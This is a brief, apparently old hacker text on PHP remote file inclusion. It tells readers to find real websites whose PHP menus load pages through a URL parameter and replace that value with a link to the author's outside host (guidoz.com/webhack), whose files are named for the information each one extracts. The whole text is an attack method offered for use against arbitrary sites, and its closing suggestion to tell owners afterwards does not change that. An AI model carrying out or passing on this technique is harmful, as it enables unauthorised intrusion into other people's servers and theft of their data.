These are text files you can use for PHP injection. It works like this...

Find a website that uses a PHP menu and calls the page through a script.

For example, Domain.com has a PHP menu bar. Clicking on the menu shows:

http://www.domain.com/index.php?page=about.html

Now change it to something like this:

http://www.domain.com/index.php?page=http://www.guidoz.com/webhack/(TEXT FILE)

Each one is named by what you could get. It doesn't work for every site
you will find that has a PHP menu. If they haven't properly secured or
protected their install, however, you'll find some interesting information.

Be sure to let them know what you found. After all, you'd want someone to
help you out if you left something so blatantly open, right? ;)

--
Peace. ~G